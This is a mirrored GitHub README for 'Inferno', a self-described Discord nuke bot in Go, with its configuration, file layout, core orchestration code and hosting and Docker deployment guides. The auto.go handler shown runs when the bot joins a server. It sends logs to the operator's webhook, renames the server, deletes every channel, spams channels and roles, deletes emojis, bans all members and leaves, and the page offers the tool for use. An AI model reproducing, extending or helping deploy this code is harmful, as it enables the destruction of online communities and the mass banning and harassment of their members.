GithubHelp home page GithubHelp logo

santo01614 / inferno-discord-bot Goto Github PK

View Code? Open in Web Editor NEW

This project forked from n7tr/excalibur-discord-bot

0.0 0.0 0.0 51 KB

A powerful Discord nuke bot written on Go

License: GNU General Public License v3.0

Go 98.66% Dockerfile 1.34%

inferno-discord-bot's Introduction

Inferno Discord Bot

A powerful Discord nuke bot written on Go


Big thanks to morg

for code improvements

.env file

There's many variables such as

{
    BOT_TOKEN: bot's token
    BOT_OWNER_ID: your id

    WEBHOOK_URL: Webhook's URL
    AVATAR_URL: avatar url for webhook

    CHANNEL_NAME: name of the channel
    SERVER_NAME: name of the server
    ROLE_NAME: name of the role

    EMBED_TITLE: Embed's title
    EMBED_DESCRIPTION: Embed's description

}

All values are have string data type

Code Structure

All bot functions are in cogs folder

    main.go
    overcharge.go
    auto.go
    .env
    avatar.webp
    - cogs
      - channels.go
      - emoji.go
      - leave.go
      - members.go
      - rename.go
      - roles.go
      - webhooks.go

main.go & auto.go

main.go - launches bot and OnGuildCreate handler from auto.go

    sess.AddHandler(onGuildCreate) - function onGuildCreate is located in auto.go file

auto.go - launches bot functions from cogs folder if bot joined the guild
func onGuildCreate(s *discordgo.Session, event *discordgo.GuildCreate) {
  var wg sync.WaitGroup
cogs.Logs(s, event)
cogs.GuildRename(s, event)

wg.Add(1)
go func() {
	defer wg.Done()
	channels, _ := s.GuildChannels(event.ID)
	cogs.DeleteChannels(s, channels, &wg)
}()
wg.Wait()

for i := 0; i < 50; i++ {
	wg.Add(1)
	go func() {
		defer wg.Done()
		cogs.TextSpam(s, event, &wg)
	}()
}
wg.Wait()

wg.Add(1)
go func() {
	defer wg.Done()
	cogs.DeleteRoles(s, event)
}()
wg.Wait()

for i := 0; i < 40; i++ {
	wg.Add(1)
	go func() {
		defer wg.Done()
		cogs.RolesSpam(s, event)
	}()
}
wg.Wait()

cogs.EmojiDelete(s, event)
cogs.MemberBan(s, event)
cogs.BotLeave(s, event)

}

cogs folder

There's located all bot's functions.

	channels.go: 2 functions (DeleteChannels, TextSpam)
	emoji.go: 1 function that deletes all emojies from the server
	leave.go: 1 function that leaves from the server
	members.go: 1 function that bans all members from the server
	rename.go 1 function that renames the server 
	roles.go: 2 functions that deletes and creates roles (DeleteRoles, RolesSpam)
	webhooks.go: 2 functions that send logs via webhook before nuke bot starts other functions
	overcharge.go: leaves every server owner write ".overcharge_leave"

Installation guide

	1. Clone or download repository's source code
	2. Install golang
	3. Go to Inferno folder
	4. Change values in .env
	5. Run go build Inferno && ./Inferno

Where to host?

We recommend you to use fl0.com, koyeb.com, back4app.com or render.com. They're free and there you can host Inferno and other discord bots. More information about other hostings are here

Deploy guide

First of all, copy all source code to your private repository. Then create an account on railway.app via github. Use Dockerfile for quick deployment. Railway.app is one of the best free hosting provider, where you don't need to add http server to your bot for 100% uptime.

Dockerfile example

# For deployment on railway.app
FROM golang:latest

WORKDIR /Inferno

COPY . .

RUN go build Inferno

CMD [ "./Inferno" ]
# For deployment on render.com and others
FROM golang:latest

WORKDIR /Inferno

COPY . .

RUN go build Inferno

EXPOSE 8080

CMD [ "./Inferno" ]

If you want to deploy your fork on render.com, add code snippet bellow to main.go

// imports
import (
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"os/signal"
	"syscall"
	"time"

	"github.com/bwmarrin/discordgo"
	"github.com/joho/godotenv"
)

//starts http server
func main() {
	go func() {
		http.HandleFunc("/", getRoot)
		err := http.ListenAndServe(":8080", nil)
		if err != nil {
			log.Fatal(err)
		}
	}()

}

func getRoot(w http.ResponseWriter, r *http.Request) {
	fmt.Printf("got / request\n")
	io.WriteString(w, "Inferno is at render.com now.. ๐Ÿš€\n")
}

inferno-discord-bot's People

Contributors

n7tr avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.